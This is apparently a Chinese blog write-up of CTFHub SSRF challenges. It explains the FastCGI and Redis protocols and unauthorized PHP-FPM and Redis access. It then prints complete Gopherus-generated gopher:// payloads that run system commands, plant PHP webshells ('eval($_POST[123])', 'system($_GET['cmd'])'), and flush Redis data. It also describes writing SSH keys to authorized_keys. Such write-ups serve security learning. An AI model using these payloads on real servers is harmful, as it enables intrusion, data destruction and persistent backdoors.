Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌
CTFHub-FastCGI协议及其ssrf漏洞_ctfhub fastcgi-CSDN博客
FastCGI协议
FastCGI是CGI的一种替代方法。CGI是Web服务器与编程语言交互的一个标准,但是CGI每次都需要启动一个新的进程来处理请求,这样效率很低。FastCGI是一个常驻型的CGI,它在服务器启动的时候先启动一个应用程序池,然后由这个应用程序池来管理和调度应用程序的执行。
FastCGI的工作流程如下:
-
Web服务器启动时载入FastCGI进程管理器
-
FastCGI进程管理器初始化并等待从Web服务器发来的请求
-
当客户端请求到达Web服务器时,FastCGI进程管理器启动一个或多个FastCGI进程,这个进程执行特定的应用程序,处理请求,并返回结果给Web服务器
-
FastCGI进程继续等待并处理来自Web服务器的请求,而不是结束
Fastcgi其实是一个通信协议,和HTTP协议一样的通信,都是进行数据交换的一个通道。只不过http协议是浏览器(即客户端)于服务器中间件的通信协议,而FastCGI协议是服务器中间件和某种语言编写的正在运行的后端程序间的通信协议。这张图能很清楚的表达
HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。
而fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
漏洞原理:
PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。本来我们可以执行任意文件,但是在FPM某个版本之后,增加了security.limit_extensions选项,限定了只有某些后缀的文件允许被fpm执行,默认是.php,所以现在要使用这个漏洞,我们得先知道服务器上的一个php文件,假设我们爆破不出来目标环境的web目录,我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php。
现在我们已经有可以执行代码的思路了,但是仅仅这样我们只能执行服务器上已有的代码,不能任意执行,所以我们还得想办法上传自己的代码,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。
auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。
假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)。设置auto_prepend_file的值又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中),所以我们在传入环境变量是加入
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
因为写题遇见了,所以了解了一下它的原理以及漏洞形成,如果要详细了解FastCGI协议的话,可以去看这个大佬的博客
Redis协议
CTF - WEB redis的简介与利用_redis ctf-CSDN博客
【高阶篇】3.1 Redis协议(RESP )详解_redis resp-CSDN博客
简单学习了一下redis协议, Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis是一个流行的开源内存数据管理系统,默认端口为6379。客户端和Redis服务器通过这个端口进行通信,客户端连接到Redis服务器后,对其中的数据进行读写等操作。因此,这个端口也是攻击者的常见攻击目标。
大概的意思就是这是一个数据库,存储在内存中,可以与磁盘交互,并且支持远程连接。Redis因配置不当可以未授权访问,攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
和上面的Fastcgi原理差不多,一旦将特定端口暴露在公网中,就及其容易受到攻击。
Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作。攻击者可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应地私钥直接使用ssh服务登录目标服务器。
攻击方式:
攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以通过恶意执行flushall来清空所有数据
攻击者可通过EVAL执行代码,或通过数据备份功能往磁盘写入后门文件
如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害者服务器
当然一般情况下,会避免其他非信任来源IP访问,所以这里的攻击思路也是和前面一样,通过gopher协议从服务器上进入redis,然后通过终端写马完成攻击。
CTFHUB--SSRF--FastCGI协议
打开环境,还是先试一下file协议访问一下flag.php和index.php,不过没什么用,已经说了这题是FastCGI协议,根据提示,只要找到9000端口并监听,然后构造可执行任意代码的playload上传即。之前说了gopher是万能协议,那我们就使用gopher协议对FastCGI进行攻击。
gopherus工具在kali安装:
git clone https://github.com/tarunkant/Gopherus.git
进入工具目录:
cd Gopherus
然后我们就可以开始使用了
进入目录输入
./gopherus.py --exploit fastcgi
开始使用我们的工具
第一种解法
使用工具时一般第一行是目标服务器上的php文件,第二行是shell语句
输入index.php的目录(一般都有这个),即: /var/www/html/index.php
一般情况下我们输入ls都看不到什么东西,所以我们查看根目录,输入ls /
得到结果为:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
放进url里并没有什么用,再对它进行一次url编码
得到
gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2504%2500%253C%253Fphp%2520system%2528%2527ls%2520/%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
把他放进url里得到
我们看到了flag的文件名,直接读取它
跟之前的步骤一样,只不过这次的命令是cat /flag_8bde6c55f6c883e1d78679d5348e230f
运行结果
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH94%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5E%04%00%3C%3Fphp%20system%28%27cat%20/flag_8bde6c55f6c883e1d78679d5348e230f%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
在对他进行一次编码,得到
gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH94%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255E%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/flag_8bde6c55f6c883e1d78679d5348e230f%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
把它放进url里,得到flag
第二种解法
关于第二种解法,我们可以上传一句话木马上去,然后用蚁剑连接,查找得到fllag,这样更方便一点,省去了重复使用gopherus和编码的过程
还是和之前一样使用gopherus工具,只不过这一次我们上传的webshell是上传一句话木马到1.php里去
echo "<?php eval(\$_POST[123]);?>" >1.php
得到的结果
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH93%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5D%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20eval%28%5C%24_POST%5B123%5D%29%3B%3F%3E%22%20%3E1.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
然后进行再次编码得到
gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH93%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255D%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%2522%253C%253Fphp%2520eval%2528%255C%2524_POST%255B123%255D%2529%253B%253F%253E%2522%2520%253E1.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
上传之后没有回显,但应该是上传成功了,我用蚁剑连接没有成功,不知道是为什么
CTFHUB--SSRF--Redis协议
和上题一样,我们还是使用gopherus攻击redis
在gopherus里输入
./gopherus.py --exploit redis
ReverseShell应该是反弹shell PHPshell就是webshell了,这儿我们输入PHPshell
第二行可以不用输,他的默认路径是/var/www/html
第三行输入我们的shell语句
<?php eval($_post["123"]);?>
得到结果:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22123%22%5D%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
同时我们发现,他已经自动把%0a转换成%0d%0a了,我们对他二次编码
得到
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522123%2522%255D%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
等了很久。他返回504超时了,但是应该传上去了
我们使用蚁剑连接,位置是shell.php,但我使用蚁剑连接没有连上去,不知道为什么,那就换一种方法
回到刚才第一步
除了第一步选择PHPShell,其他都默认,默认文件名为shell.php,默认命令参数是cmd
得到结果
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
对他再次编码得到
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
放入url里
等了很久还是返回504
但访问shell.php成功了 ,url写入
?cmd=ls /
看到了flag,cat读取flag,就得到了我们需要的flag